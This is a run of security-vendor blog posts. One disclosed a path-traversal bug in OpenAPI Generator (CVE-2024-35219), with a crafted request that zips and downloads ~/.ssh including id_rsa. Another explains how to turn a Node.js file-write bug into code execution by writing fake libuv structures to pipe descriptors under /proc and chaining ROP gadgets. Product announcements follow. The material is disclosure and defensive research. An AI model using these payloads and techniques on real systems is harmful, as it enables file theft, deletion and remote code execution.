This destPath is further concatenated to the final outputFolder directory used to store all generated source code files. This directory is passed to a call to the zip.compressFiles method, which is used to store all generated source code files in a zip archive:

        // ...
        String outputFolder = getTmpFolder().getAbsolutePath() + File.separator + destPath;
        // ...
        try {
            List<File> files = new DefaultGenerator().opts(clientOptInput).generate();
            if (files.size() > 0) {
                List<File> filesToAdd = new ArrayList<>();
                LOGGER.debug("adding to {}", outputFolder);
                filesToAdd.add(new File(outputFolder));
                ZipUtil zip = new ZipUtil();
                zip.compressFiles(filesToAdd, outputFilename);
                // ...

Further following the flow on SonarQube Cloud, we can see that the zip.compressFiles method iterates over all files and folders in the provided directory and stores them in a zip archive via addFolderToZip and addFileToZip:

    public void compressFiles(List<File> listFiles, String destZipFile)
            throws IOException {

        try (FileOutputStream fileOutputStream = new FileOutputStream(destZipFile);
             ZipOutputStream zos = new ZipOutputStream(fileOutputStream)) {

            for (File file : listFiles) {
                if (file.isDirectory()) {
                    addFolderToZip(file, file.getName(), zos);
                } else {
                    addFileToZip(file, zos);
                }
            }

            zos.flush();
        }
    }

In the case of the user-controlled outputFolder, the flow continues with a call to addFolderToZip as we can see in the SonarQube Cloud UI. Here, this complex taint flow ends with the invocation of the listFiles method on a user-controlled File object in step 28. This is the final Sink:

As indicated by the message beneath the Sink, processing this File object – in this case, with a call to listFiles – is dangerous, because the path of the File object was constructed based on user-controlled data.

Security Impact

Since attackers can control this path and there is no verification that the provided directory resides within the intended temporary folder, attackers can use a path traversal sequence (../) to target an arbitrary, writable folder. The zip.compressFiles method recursively adds all files and folders from this directory to the zip archive, which can then be downloaded. For example, the following request can be used to set the directory to /home/user/.ssh:

POST /api/gen/clients/csharp HTTP/1.1
Host: api.openapi-generator.tech
...

{
  "authorizationValue": {
    "keyName": "string",
    "type": "string",
    "value": "string"
  },
 "openAPIUrl": "https://raw.githubusercontent.com/OpenAPITools/openapi-generator/master/modules/openapi-generator/src/test/resources/2_0/petstore.yaml",
  "options": {"outputFolder":"../../../../home/user/.ssh"},
  "spec": {}
}

The generated source code files will be stored in /home/user/.ssh. All files and folders in this directory will be added to the zip archive, which can be downloaded via the /gen/download/{fileId} endpoint. This way, all files and folders from an arbitrary folder can be exfiltrated, including a potentially existing SSH key (id_rsa) in this case:

user@host:~$ zipinfo csharp-client-generated.zip
Archive:  csharp-client-generated.zip
Zip file size: 42785 bytes, number of entries: 34
...
-rw----     2.0 fat     1113 bl defN 24-Apr-26 06:26 .ssh/id_rsa
...

However, downloading the generated zip archive has another destructive effect: the parent folder of the directory, including all files and folders, will be deleted after the zip archive has been generated. In this case, this includes all files and folders in /home/user:

    public ResponseEntity<Resource> downloadFile(String fileId) {
        Generated g = fileMap.get(fileId);
        // ...

        File file = new File(g.getFilename());
        // ...
        try {
            FileUtils.deleteDirectory(file.getParentFile());
            // ...

Thus, attackers can use this vulnerability not only to read arbitrary files and folders, but also to delete them.

Patch

While identifying a vulnerability as deeply hidden as this can be difficult, the actual patching process is typically straightforward. The issue was fixed by removing the code that concatenates the attacker-controllable option into the destination folder:

-        String destPath = null;
-
-        if (opts.getOptions() != null) {
-            destPath = opts.getOptions().get("outputFolder");
-        }
-        if (destPath == null) {
-            destPath = language + "-" + type.getTypeName();
-        }
+        // do not use opts.getOptions().get("outputFolder") as the input can contain ../../
+        // to access other folders in the server
+        String destPath = language + "-" + type.getTypeName();

Timeline

Date	Action
2024-04-29	We report all issues to the OpenAPI Generator maintainers.
2024-05-11	We reach out to the maintainers again to ask for the status.
2024-05-13	The maintainers share a fix with us for review.
2024-05-21	The fix is released as part of version v.7.6.0.
2024-05-21	CVE-2024-35219 is assigned.
2024-05-27	The related security advisory is made public.

Summary

In this blog post, we have seen how taint analysis can uncover deeply hidden vulnerabilities in source code. By tracking data from its origin (Source) to its ultimate use (Sink), this method can unveil complex taint flows that could lead to severe security vulnerabilities.

We examined a real-world example by covering a critical vulnerability in the OpenAPI Generator, which is based on a complex taint flow that SonarQube Cloud detected. This discovery highlights the importance of leveraging SAST-based tools like SonarQube Server and SonarQube Cloud to safeguard your application against these deeply hidden vulnerabilities.

Finally, we would like to thank the OpenAPI Generator maintainers for providing a comprehensive patch, and transparently informing all users.

Why Code Security Matters - Even in Hardened Environments

Stefan Schiller — Tue, 08 Oct 2024 14:00:00 GMT

TL;DR overview

Code security matters in hardened environments because network-level defenses like firewalls, WAFs, and network segmentation do not eliminate vulnerabilities in the application code itself.
Defense in depth requires securing every layer, including the code: a single application-level vulnerability can provide an attacker with a foothold that bypasses all perimeter protections.
Hardened environments often create a false sense of security that leads to reduced attention to code-level vulnerabilities, making the eventual exploitation more damaging.
Integrating SAST into the development pipeline ensures that code security is enforced regardless of the deployment environment's infrastructure protections.

Infrastructure hardening makes applications more resilient to attacks. These measures raise the bar for attackers, making exploitation more difficult. However, they should not be seen as a silver bullet, as determined attackers can still leverage vulnerabilities in the source code.

In this blog post, we will highlight the importance of fundamental code security by showcasing a technique that attackers can use to turn a file write vulnerability in a Node.js application into remote code execution – even though the target’s file system is mounted read-only. The technique thwarts the restrictions applied in a hardened environment like this by leveraging exposed pipe file descriptors to gain code execution.

This blog post's content was also presented at Hexacon24. We will add a link to the recording as soon as it is available and let you know on X/Twitter and Mastodon.

File Write Vulnerabilities

During our mainly web-focused vulnerability research, we encounter a variety of different vulnerability types, such as Cross-Site Scripting, SQL injection, Insecure Deserialization, Server-Side Request Forgery, and much more. The impact and ease of exploitation of these vulnerability types varies but for a few of them, it is almost certain to assume that the whole application is comprised once that type of vulnerability is identified.

One of these critical vulnerability types is an Arbitrary File Write vulnerability. Attackers still need to figure out what to write where, but there are usually a lot of options to turn this into code execution and thus fully compromise the application’s server:

Write a PHP, JSP, ASPX, or similar file to the web root.
Overwrite a templating file that is processed by a server-side templating engine.
Write to a configuration file (e.g., uWSG .ini file or Jetty .xml file).
Add a Python site-specific configuration hook.
Use a generic approach by writing an SSH key, adding a cronjob, or overwriting a user’s .bashrc file.

These examples show that attackers usually find an easy way to turn an Arbitrary File Write vulnerability into code execution. To reduce the extent of such vulnerabilities, an application's underlying infrastructure is often hardened – making it more difficult but not impossible for attackers to exploit it.

File Writes in Hardened Environments

We recently encountered an Arbitrary File Write vulnerability in a Node.js application that turned out to be less easily exploitable. The vulnerability itself was more complex, but it breaks down to the following vulnerable code snippet:

app.post('/upload', (req, res) => {
   const { filename, content } = req.body;
   fs.writeFile(filename, content, () => {
       res.json({ message: 'File uploaded!' });
   });
});

The function fs.writeFile is used to write a file, and both parameters – filename and content – are fully user-controllable. Thus, this is an Arbitrary File Write vulnerability.

When determining the impact of this vulnerability, we noticed that the user running the application is limited to write-permissions for a specific upload folder. Everything else on the file system is read-only. Although this felt like a dead-end for the exploitation of the vulnerability, it led us to the following research question:

Can an Arbitrary File Write vulnerability possibly be turned into code execution even though the target’s file system is mounted read-only?

Read-Only File Writes

On Unix-based systems like Linux, everything is a file. Unlike traditional file systems like ext4, which store data on a physical hard disk drive, there are other file systems that serve a different purpose. One of these is the procfs virtual file system, which is usually mounted at /proc and acts as a window into the kernel's inner workings. Instead of storing actual files, procfs provides access to real-time information about running processes, system memory, hardware configuration, and more.

One particularly interesting piece of information procfs provides is the open file descriptors of a running process, which can be inspected via /proc/<pid>/fd/. The files opened by a process may not only be traditional files but also device files, sockets, and pipes. For example, the following command can be used to list the open file descriptors of the Node.js process:

user@host:~$ ls -al /proc/`pidof node`/fd
total 0
dr-x------ 2 user user 22 Oct 8 13:37 .
dr-xr-xr-x 9 user user  0 Oct 8 13:37 ..
lrwx------ 1 user user 64 Oct 8 13:37 0 -> /dev/pts/1
lrwx------ 1 user user 64 Oct 8 13:37 1 -> /dev/pts/1
lrwx------ 1 user user 64 Oct 8 13:37 2 -> /dev/pts/1
lrwx------ 1 user user 64 Oct 8 13:37 3 -> 'anon_inode:[eventpoll]'
lr-x------ 1 user user 64 Oct 8 13:37 4 -> 'pipe:[9173261]'
l-wx------ 1 user user 64 Oct 8 13:37 5 -> 'pipe:[9173261]'
lr-x------ 1 user user 64 Oct 8 13:37 6 -> 'pipe:[9173262]'
l-wx------ 1 user user 64 Oct 8 13:37 7 -> 'pipe:[9173262]'
lrwx------ 1 user user 64 Oct 8 13:37 8 -> 'anon_inode:[eventfd]'
lrwx------ 1 user user 64 Oct 8 13:37 9 -> 'anon_inode:[eventpoll]'
...

As we can see from the output above, this also includes anonymous pipes (e.g., pipe:[9173261]). Unlike named pipes, which are exposed as a named file on the file system, writing to anonymous pipes is usually impossible due to the lack of a reference. However, the procfs filesystem allows us to reference the pipe via its entry in /proc/<pid>/fd/. Compared to other files under procfs, this file write does not require root privileges and can be performed by the low-privileged user running the Node.js application:

user@host:~$ echo hello > /proc/`pidof node`/fd/5

Writing to a pipe is even possible if procfs is mounted read-only (e.g. in a Docker container) since pipes are handled by a separate filesystem called pipefs, which is internally used by the kernel.

This unveils new attack surfaces for attackers who can write arbitrary files as they can feed data to the event handler that reads from an anonymous pipe.

Node.js and Pipes

Node.js is built on the V8 JavaScript engine, which is single-threaded. However, Node.js provides an asynchronous and non-blocking event loop. To do so, it uses a library called libuv. This library uses anonymous pipes to signal and handle events, which are exposed via procfs as we saw in the output above.

When a Node.js application is prone to a file write vulnerability, nothing prevents attackers from writing to these pipes, as they are writable by the same user running the application. But what happens with the data written to the pipes?

When auditing the related libuv source code, a handler named uv__signal_event caught our attention. It assumes that the data read from the pipe are messages of type uv__signal_msg_t:

static void uv__signal_event(uv_loop_t* loop,
                             uv__io_t* w,
                             unsigned int events) {
  uv__signal_msg_t* msg;
  // [...]

  do {
    r = read(loop->signal_pipefd[0], buf + bytes, sizeof(buf) - bytes);
    // [...]

    for (i = 0; i < end; i += sizeof(uv__signal_msg_t)) {
      msg = (uv__signal_msg_t*) (buf + i);
      // [...]

The uv__signal_msg_t data structure only contains two members, a handle pointer and an integer called signum:

typedef struct {
  uv_signal_t* handle;
  int signum;
} uv__signal_msg_t;

The uv_signal_t type of the handle pointer is a typedef for the uv_signal_s data structure, which contains a particularly interesting member called signal_cb:

struct uv_signal_s {
  UV_HANDLE_FIELDS
  uv_signal_cb signal_cb;
  int signum;
  // [...]

This signal_cb member is a function pointer that is supposed to contain the address of a callback function that is invoked later on in the event handler if the signum value of both data structures matches:

      // [...]
      handle = msg->handle;

      if (msg->signum == handle->signum) {
        assert(!(handle->flags & UV_HANDLE_CLOSING));
        handle->signal_cb(handle, handle->signum);
      }

The following image visualizes the data structure that the event handler expects:

This is a very promising situation for attackers: They can write any data to the pipe, and there is a quick path to the invocation of a function pointer. In fact, we were not the only and first researchers to notice this. On August 8, HackerOne disclosed this great report from Seunghyun Lee, in which he describes a different scenario in which he was able to leverage the open file descriptor from within a Node.js program to bypass any module- and process-based permission – basically a sandbox escape.

Even in the scenario he described here – which we didn’t have in mind – this is not considered a security vulnerability, and the report was closed as informative. That means that the technique we describe in the following sections still applies to the latest version of Node.js and this will probably not change in the near future.

Building Structures

The general strategy of attackers exploiting the event handler with a file write vulnerability may look like this:

Write a fake uv_signal_s data structure to the pipe.
Set the signal_cb function pointer to an arbitrary address that they would like to call.
Write a fake uv__signal_msg_t data structure to the pipe.
Set the handle pointer to the uv_signal_s data structure written before.
Set the signum value for both data structures to the same value.
Gain arbitrary code execution.

Assuming that attackers can only write files, all of this needs to be achieved with a one-shot write without the ability to read any memory beforehand.

The buffer of the event handler is quite huge, which allows attackers to easily write both data structures to the pipe. However, there is a hurdle: the address of the data structures is unknown since all data written to the pipe is stored on the stack:

Thus, attackers wouldn't be able to make the handle pointer reference the fake uv_signal_s data structure. This leads to the question: Is there even any data that attackers could reference?

The addresses of the stack, the heap, and all libraries are randomized via ASLR. However, the segments of the Node.js binary itself are not. To our surprise, PIE (position-independent executable) is not enabled for the official Linux build of Node.js:

user@host:~$ checksec /opt/node-v22.9.0-linux-x64/bin/node 
[*] '/opt/node-v22.9.0-linux-x64/bin/node'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

The reasons for this are apparently performance considerations, as the indirect addressing of PIE adds a small overhead. For attackers, this means that they could reference data in a Node.js segment since this address is known:

The next question is: How could attackers store a fake uv_signal_s data structure in a Node.js segment? Searching for ways to make Node.js store attacker-controlled data at a static location (e.g. data read from an HTTP request) would be one approach, but this seemed to be quite challenging.

An easier approach is to just use what is already available. By examining the Node.js memory segments, attackers may be able to identify suitable data for a uv_signal_s fake structure in the existing data.

The attackers’ dream data structure would look similar to this:

This data structure begins with a command string ("touch /tmp/pwned") followed by the address of system at the correct offset to overlap with the signal_cb function pointer. Attackers would only need to make the signum value match the fake uv_signal_s data structure so that the callback function is invoked, which effectively calls system("touch /tmp/pwned").

This approach requires the address of system to be present in a Node.js segment. The global offset table (GOT) would usually be a candidate for this. However, Node.js does not use the system function, so its address is not present in the GOT. And even if it were present, the beginning of the resulting fake uv_signal_s data structure would likely be another entry in the GOT and not a useful command string. Thus, another approach seems more viable: a classical ROP chain.

Searching Data Structure Gadgets

The beginning of every ROP chain is the search for useful ROP gadgets. A tool that searches for ROP gadgets usually parses the ELF file on disk and then determines all executable sections. The .text section is usually the biggest executable section since it stores the instructions of the program itself:

Now the tool iterates over the bytes in this section and looks for a ret instruction, for example, since this is a suitable last instruction for a ROP gadget. The tool then goes from the byte that represents the ret instruction back again – byte by byte – to determine all possibly useful ROP gadgets:

In this case, however, this is not what attackers need. Instead of a ROP gadget, they need an address that references a fake uv_signal_s data structure, which references a ROP gadget via its signal_cb function pointer. So, there is one indirection: the ROP gadget (address of a sequence of instructions) needs to be stored in the referenced data itself:

In order to identify suitable data structures like this, attackers need to search through the Node.js image similar to a classical ROP gadget finder tool. The difference, though, is that attackers are not only interested in executable sections like the .text section. The memory where the fake data structure resides does not have to be executable. Attackers need a pointer to a gadget. Thus, they can consider all segments that are at least readable. Also, this search can be done in-memory instead of only parsing the ELF file on disk. This way, attackers can also find data structures that were only created during runtime in the .bss section, for example. This may lead to false positives or environment-specific structures but increases their chance of getting useful findings, which can be verified manually.

A basic implementation of this in-memory search for fake data structures is actually pretty straightforward:

for addr, len in nodejs_segments:
   for offset in range(len - 7):
       ptr = read_mem(addr + offset, 8)
       if is_mapped(ptr) and is_executable(ptr):
           instr = read_mem(ptr, n)
           if is_useful_gadet(instr):
               print('gadget at %08x' % addr + offset)
               print('-> ' + disassemble(instr))

The Python script iterates over all Node.js memory regions and interprets 8 bytes at a time as a pointer, which it tries to reference. If the address is mapped and references memory in an executable segment, it determines if the byte sequence stored at this address is a useful ROP gadget:

This is what the Python script looks like in action:

All potentially useful ROP gadgets are outputted and can now be used as the first initial ROP gadget that is executed when the callback function is invoked. Since all data written to the pipe is stored on the stack, it is sufficient to find a suitable pivoting gadget for this first gadget. Once attackers have pivoted the stack pointer to controlled data, a classical ROP chain can be used:

One caveat remains when using this technique to exploit an arbitrary file vulnerability. Usually, the function used to write the file (fs.writeFile in this case) is limited to valid UTF-8 data. Accordingly all data written to the pipe must be valid UTF-8.

Overcoming UTF-8 Restrictions

It is not challenging to find useful UTF-8-compatible gadgets for the classical ROP chain due to the huge size of the Node.js binary (~110M for the latest x64 build). However, this limitation further restricts the potentially suitable data structures for the fake uv_signal_s in the existing data. Based on this, an additional check needs to be added to the script to verify that the base address of the fake data structure is valid UTF-8:

for addr, len in nodejs_segments:
   for offset in range(len - 7):
       if not is_valid_utf8(addr + offset - 0x60): continue
       ptr = read_mem(addr + offset, 8)
       # [...]

Even with this additional check, the script still yields suitable fake data structures that reference a pivoting gadget like the following:

...
0x4354ca1 -> 0x12d0000: pop rsi; pop r15; pop rbp; ret  
...

This is how the related data structure looks like in memory:

The base address of this fake data structure (0x4354c41) is valid UTF-8, so the handle pointer in the uv__signal_msg_t data structure can be correctly populated. However, there is another UTF-8-related problem. This time with the signum value:

The last byte of the signum value is 0xf0, which is not valid UTF-8. If an attacker tries to write this byte via the File Write vulnerability, it is replaced with a replacement character and the signum value check fails. If we enter 0xf0 in our UTF-8 visualizer, we can see that this byte introduces a 4-byte UTF-8 sequence:

Accordingly, a UTF-8 parser expects 3 continuation bytes following this byte. Since the uv__signal_msg_t data structure contains an 8-byte pointer and a 4-byte integer, the compiler adds 4 additional padding bytes to align the structure to 16 bytes. These bytes can be used to add 3 continuation bytes and thus craft a valid UTF-8 sequence:

The above floppy disc, for example, is a valid 4-byte UTF-8 sequence that begins with 0xf0. By adding these continuation bytes, attackers can fulfill the requirements of the whole payload being valid UTF-8 and make both signum values match:

With this last hurdle out of the way, attackers are able to gain remote code execution.

The following video demonstrates the exploit against the vulnerable example application, which is running as a low-privileged user on a system with a read-only root file system and read-only procfs:

Watch the video

Learnings and Conclusion

The “Everything is a file” philosophy on Unix-based systems opens up uncommon attack surfaces when exploiting File Write vulnerabilities. In this blog post, we showcased this with a technique that can be used to turn a File Write vulnerability in a Node.js application into Remote Code Execution. Since the event handler code is from libuv, this technique can also be applied to other software that uses libuv, like julia.

The generic approach is even applicable without Node.js and libuv. Whenever an application uses pipes as a communication mechanism, attackers may leverage a File Write vulnerability to target the pipe file descriptors exposed via procfs. As this example has shown, this might not be considered in a common threat model but can give remote attackers the ability to execute arbitrary code.

From a defensive perspective, this example highlights that infrastructure hardening can only be seen as an additional defense layer and cannot replace fundamental code security. Determined attackers can exploit vulnerabilities in the source code even though hardening measures have been employed. This greatly demonstrates why code security, as implied by Code Quality, is so important and why vulnerabilities should be fixed at their origin: the source code.

Announcing Sonar Support for Dart: Elevate Your Code Quality

Andrew Osborne — Mon, 07 Oct 2024 13:00:00 GMT

TL;DR overview

Sonar now supports Dart, bringing automated static code analysis and quality scanning to Dart and Flutter developers for the first time on the SonarQube platform.
The Dart analyzer detects bugs, security vulnerabilities, and code smells in Dart code, applying the same quality standards that millions of developers use for other languages.
Support for Dart is available in SonarQube Cloud, giving Flutter and Dart teams immediate access to code quality feedback within their CI/CD pipelines.
This expansion enables teams building mobile applications with Flutter to maintain quality, maintainable, and secure Dart codebases as part of a unified code quality workflow.

Introduction

This is an update to the original blog posted in October 2024 to reflect the release of a new free tier for SonarQube Cloud.

We are thrilled to announce that Sonar now supports the Dart programming language! It is available for both SonarQube Cloud (Free, Team and Enterprise plans) and SonarQube Server 10.7 (Developer Edition +).

This exciting development is set to empower Dart developers with the robust code quality analysis that Sonar is renowned for. Whether you're building mobile apps with Flutter or web applications, Sonar's comprehensive suite of tools will help you maintain clean and reliable code. Plus the new Free tier of SonarQube Cloud enables you and up to 4 team members to scan your private Dart projects (up to a limit of 50k lines of code) and discover the value that Sonar offers. It's completely free, and perfect for mobile developers wanting to explore the value that Sonar offers their Dart projects.

Why Dart?

After its relatively humble beginnings Dart has rapidly gained popularity in recent years, especially with the rise of Flutter, Google's UI toolkit for building natively compiled applications for mobile, web, and desktop from a single codebase. The language's expressive syntax, strong typing, and asynchronous programming capabilities make it a favorite among developers aiming for high performance and productivity. Sonar research shows that Dart/Flutter has 46% of the market of cross-platform development, and has seen growth rates of 50% over the last 3 years. This growth, coupled with Sonar receiving over 600 insights from our users requesting support for Dart, has resulted in the early access version we make available today.

Our approach - not reinventing the wheel

We wanted to deliver a solution that added real value to Dart developers. Our approach was to build upon the existing Dart linter and its rules, and overlay information about why the rule was flagging an issue, what the implications of the issue could be, and also how to fix the issue. In essence, taking the existing Dart rules and helping developers understand, learn and improve through the Sonar solution.

In addition, we also created our own unique rules, which currently make up around 10% of the total number of rules. See this example and screenshot below. We will continue to build upon these unique Sonar rules for Dart in the coming months.

Key Features of Sonar's Dart Support

Comprehensive Code Analysis: Beginning with a core set of Dart-specific rules, with plans to add more before the end of this year, Sonar analyzes your Dart code, identifying bugs, and code smells. This ensures that your code is not only functional but also maintainable.

Seamless Integration: Easily integrate Sonar into your CI/CD pipelines, allowing for continuous inspection of your Dart projects. This integration helps catch issues early in the development process, saving time and resources.

Detailed Reports: Receive detailed reports that highlight areas for improvement, helping you prioritize and address issues effectively. These reports are designed to be developer-friendly and provide actionable insights.

Code Coverage: Sonar solutions support reporting, monitoring, and visualizing code coverage, helping teams maintain high code quality standards. This enables teams to have clear visibility into untested areas and receive actionable insights with context. You can view the percentage of your codebase exercised by your tests for valuable insights into your code's health. They then guide you to areas of low coverage to make improvements.

Market Insights: Why Dart Developers Will Love This

The Dart ecosystem has seen significant growth, with a vibrant community and increasing adoption in various industries. According to recent surveys, Dart is among the top languages for mobile development, thanks to Flutter's popularity¹. Companies are increasingly looking for developers proficient in Dart, making it a valuable skill in the job market.

By integrating Sonar into your Dart projects, you can ensure that your code meets the highest standards of quality. This not only enhances your project's reliability but also boosts your team's productivity by reducing the time spent on debugging and maintenance. In short, Sonar’s solution for Dart will improve the quality of your Dart code whilst helping you understand, learn and improve your Dart coding skills.

Get started and unlock the value of Sonar with your Dart code

Learn more about the new free tier of SonarQube Cloud, and how you can use it to scan your private projects to explore all the value Sonar offers, for free, for you and up to 4 team members. Or, if you are ready to get started, sign up for the free tier of SonarQube Cloud or request a SonarQube Server trial today and start writing better Dart code.

Feel free to reach out to our Community if you have any questions or need assistance with integrating Sonar solutions into your Dart projects. Happy coding!

Documentation

SonarQube Server 10.7 Release Announcement

Robert Curlee — Fri, 04 Oct 2024 14:00:00 GMT

TL;DR overview

SonarQube 10.7 continues the platform's incremental improvement cycle with new analysis rules, language support updates, and performance optimizations that benefit teams running large-scale code quality programs.
Security rule additions address vulnerability categories flagged by Sonar's security research team, including patterns relevant to authentication, injection, and secrets management across supported languages.
Quality gate and reporting improvements make it easier for engineering leads and compliance teams to track code health trends and demonstrate standards adherence over time.
Before upgrading to SonarQube 10.7, administrators should review the official release notes for any breaking changes, required database migrations, or deprecated API endpoints.

In the 10.7 release of SonarQube Server, you’ll find these new and exciting capabilities:

Take a quantum leap to protect and correct your code with AI Code Assurance and early access to AI CodeFix
Boost your security compliance with STIG and CASA security reports
Early access to Dart language rules for building issue-free Flutter apps
New support for PyTorch Library and Jupyter Notebooks
Deeper support and advanced security for Spring Framework
Deploy SonarQube Server on Red Hat OpenShift
Includes many more developer experience, operational, and language improvements

Read on to find out more.

Clean, Secure AI-generated Code

New in SonarQube Server 10.7, Sonar AI Code Assurance is a robust and streamlined process for validating AI-generated code through a structured and comprehensive analysis. Developers can easily identify and tag projects containing AI-generated code, initiating the Sonar AI Code Assurance workflow. This ensures that every new piece of code meets the highest quality and security standards before it moves to production.

Quickly and Immediately Fix Found Issues

You will get free early access to Sonar AI CodeFix, a powerful new capability that leverages an LLM to suggest code fixes for issues discovered by SonarQube Server. With just one click, you can now receive suggestions on resolving a range of issues, streamlining the issue resolution process. By automating the resolution of common coding problems, Sonar AI CodeFix significantly boosts developer speed and productivity.

New STIG and CASA Security Reports

In this release, we expand our support for catching security issues defined in common security standards and reporting on them. We have included coverage of the Defense Information Systems Agency’s Security Technical Implementation Guide (STIG) and The Defence Alliance’s Cloud Application Security Assessment (CASA). You can generate a STIG and a CASA security report for use in helping prove your company complies with the STIG and CASA standards.

Analyze Dart/Flutter Apps

Our developer community spoke, and we listened! Dart has been the most requested new language to include, and now it’s finally here. This early access is just the beginning. With 76 new rules for Dart and much more to come in future releases, SonarQube Server detects a dozen bugs and over 60 issues that lead to technical debt. Get started analyzing Dart code and avoid the most common issues that plague Flutter apps. Learn more about Sonar’s coverage of Dart/Flutter.

Analyze Jupyter Notebooks and PyTorch Code

PyTorch is one of the most widely used machine-learning libraries for Python. With new rules for PyTorch, SonarQube Server covers the leading AI and ML Python libraries, including TensorFlow, Scikit-learn, NumPy, and Pandas. Many AI and ML developers struggle with Jupyter Notebooks because few tools analyze the code embedded in a notebook. But now Sonar leaps forward with a unique and powerful set of rules to detect issues in Python code embedded in a Jupyter Notebook to help protect AI/ML practitioners against common coding pitfalls in their Jupyter Notebooks.

Advanced Security for the Spring Framework

To help better understand how well a static code analysis tool handles security for developer frameworks, Sonar has devised a system to evaluate and rate security coverage for a specific developer framework. This system consists of a set of 45 security KPIs and a method for evaluating the KPIs and ranking coverage of the framework at four distinct levels: minimal coverage, standard coverage, advanced coverage, and complete coverage. Sonar is very proud to announce that in the SonarQube Server 10.7 release, we’ve elevated our security coverage of the Spring Framework to 92%, earning a “complete coverage” score. Java developers leveraging the Spring Framework can rest assured that SonarQube Server is one of the most comprehensive and advanced static application security testing (SAST) tools with over 200 rules for the popular Java framework. SonarQube Server will help developers ensure that their Spring-based applications run smoothly and have few to no security vulnerabilities.

Deploy SonarQube Server on Red Hat OpenShift

For customers operating their Kubernetes-based infrastructure using Red Hat OpenShift, we officially support running the SonarQube Server on Red Hat OpenShift. Now you can safely orchestrate all your applications and services together, including SonarQube Server.

The SonarQube Server 10.7 release announcement and our 10.7 release notes provide more details about the release.

Are you still using an older version of SonarQube Server?

If you’re on a version older than 9.9, upgrade to SonarQube Server 9.9 LTA before upgrading to 10.6. Check out this helpful checklist for a smoother upgrade. Watch the on-demand LTA upgrade webinar, which explains a step-by-step approach and highlights common pitfalls encountered during the upgrade.

Building Confidence and Trust in AI-Generated Code

Manish Kapur — Thu, 03 Oct 2024 13:00:00 GMT

TL;DR overview

Sonar AI Code Assurance addresses the code accountability crisis created by AI coding assistants—where AI-suggested code is accepted without rigorous review, eroding developer ownership.
The workflow requires developers to tag projects containing AI-generated code, triggering a comprehensive analysis and strict quality gate that prevents new quality or security issues from reaching production.
Projects passing the AI Code Assurance quality gate receive a badge confirming the code has undergone a rigorous AI-ready analysis.
Available in commercial editions of SonarQube Server and SonarQube Cloud, AI Code Assurance integrates natively into existing workflows to maintain high standards without adding developer overhead.

AI coding assistants like GitHub Copilot, Google Gemini Code Assist, Amazon Q Developer, and OpenAI ChatGPT have quickly become essential tools for developers. They generate code with remarkable efficiency, significantly boosting developer productivity. However, the widespread use of AI-generated code brings its own set of challenges. Bugs, vulnerabilities, and suboptimal code can inadvertently make their way into production, leading to costly outages and damaging an organization's reputation.

Traditionally, in the Software Development Life Cycle (SDLC), code authorship is clearly defined, ensuring trust and accountability. Developers are responsible for understanding and modifying any externally sourced code, thereby taking ownership and integrating it seamlessly into their projects. This clear ownership is fundamental for maintaining high standards of code quality and security.

The rise of generative AI coding assistants, however, disrupts this established clarity of ownership and introduces a code accountability challenge. AI-suggested code is easily accessible and often appears good enough for the occasion on the first try, leading to a false perception of accuracy and potential blind acceptance, especially among new developers. While AI enhances productivity and accelerates development, it also creates significant challenges in maintaining accountability and understanding the origins of the code. This shift poses a risk to the integrity of software projects, as the ease of integrating AI-generated code may lead to insufficient scrutiny and oversight.

To tackle the accountability and ownership challenge accompanying AI-generated code, we are introducing Sonar AI Code Assurance, now available in commercial editions of SonarQube Server 10.7 and coming soon in SonarQube Cloud. AI Code Assurance is designed to provide developers and organizations with the confidence and trust they need to embrace AI in their coding practices. By implementing comprehensive code analysis, we ensure that AI-generated code passes a strict quality gate, preventing any new code quality or security issues from slipping into production.

The AI Code Assurance workflow encourages developers to take full ownership of code, whether human-written or AI-generated. By emphasizing the importance of thorough code reviews, organizations deploying Sonar solutions can ensure all code meets the highest standards of quality and security. Developers are guided through the validation process, allowing them to understand and address the issues discovered in AI-generated code before it makes its way to production.

What is Sonar AI Code Assurance?

Sonar AI Code Assurance is a robust and streamlined process for validating AI-generated code through a structured and comprehensive analysis. This ensures that every new piece of code meets the highest standards of quality and security before it moves to production.

How Sonar AI Code Assurance Works

The Sonar AI Code Assurance workflow consists of the following key steps:

Step 1: Tagging AI-Generated Code

Developers easily identify and tag projects that contain AI-generated code. This simple step initiates a thorough analysis and validation process, allowing the AI Code Assurance workflow to focus on the unique challenges posed by AI-generated content.

Step 2: Running Deep Analysis

Once a project is tagged, Sonar conducts an in-depth code analysis during its next run to identify potential bugs, security vulnerabilities, and quality issues. Our code analysis engine scrutinizes the code, ensuring that it adheres to best practices and industry standards, uncovering deeply hidden issues other validation tools can’t find.

Step 3: Enforcing a Quality Gate

Only code that meets our stringent quality standard is released after successfully passing our Gen-AI-ready quality gate. This rigorous process helps developers and teams build trust in AI-generated code, assuring companies that proper due diligence has been performed.

Step 4: Applying a Quality Assurance Badge

Projects that meet this exacting criteria are awarded a Quality Assurance Badge so long as they adhere to the AI Code Assurance standards. This badge assures stakeholders that the code has undergone strict validation through the AI Code Assurance workflow and is fully production-ready.

Benefits of Sonar AI Code Assurance

Accountability

One of the most significant challenges in using AI for code generation is the deterioration of accountability which results in incidents, outages, and a loss of trust in the development process. AI Code Assurance empowers developers to take ownership of all code, ensuring that every piece of AI-generated content is thoroughly analyzed and reviewed.

Elevated Visibility

To further support development teams, we have improved the user interface of SonarQube Server and SonarQube Cloud to allow teams to easily identify and track the status of projects containing AI-generated code. Teams can now confidently release AI-generated code, with a comprehensive visibility of its quality and security.

Seamless Integration

At Sonar, we recognize the importance of maintaining developer productivity and experience. The Sonar AI Code Assurance feature is designed to integrate natively within existing workflows, ensuring that developers can continue to work efficiently without added overhead. This seamless integration allows teams to focus on innovation while ensuring that quality and security remain top priorities.

Reduction of Risk

For stakeholders managing risks, compliance, and security, AI Code Assurance provides comprehensive code quality assurance by catching issues early and reducing risk. It helps the organization eliminate risk and develop confidence in AI, ultimately driving wider and safer adoption of the technology.

Conclusion

The launch of AI Code Assurance marks a significant step forward in our commitment to enhancing code quality and security in the age of AI. By providing developers with the tools they need to utilize AI confidently, we are helping organizations accelerate innovation safely and responsibly.

With AI Code Assurance, you can trust that your AI-generated code stays thoroughly reviewed, allowing you to focus on what you do best: creating exceptional software.

Explore AI Code Assurance by signing up for a free trial of SonarQube Cloud today.

Read the product documentation to find out more.

Instant Code Fixes at Your Fingertips: Announcing Sonar AI CodeFix

Manish Kapur — Thu, 03 Oct 2024 13:00:00 GMT

TL;DR overview

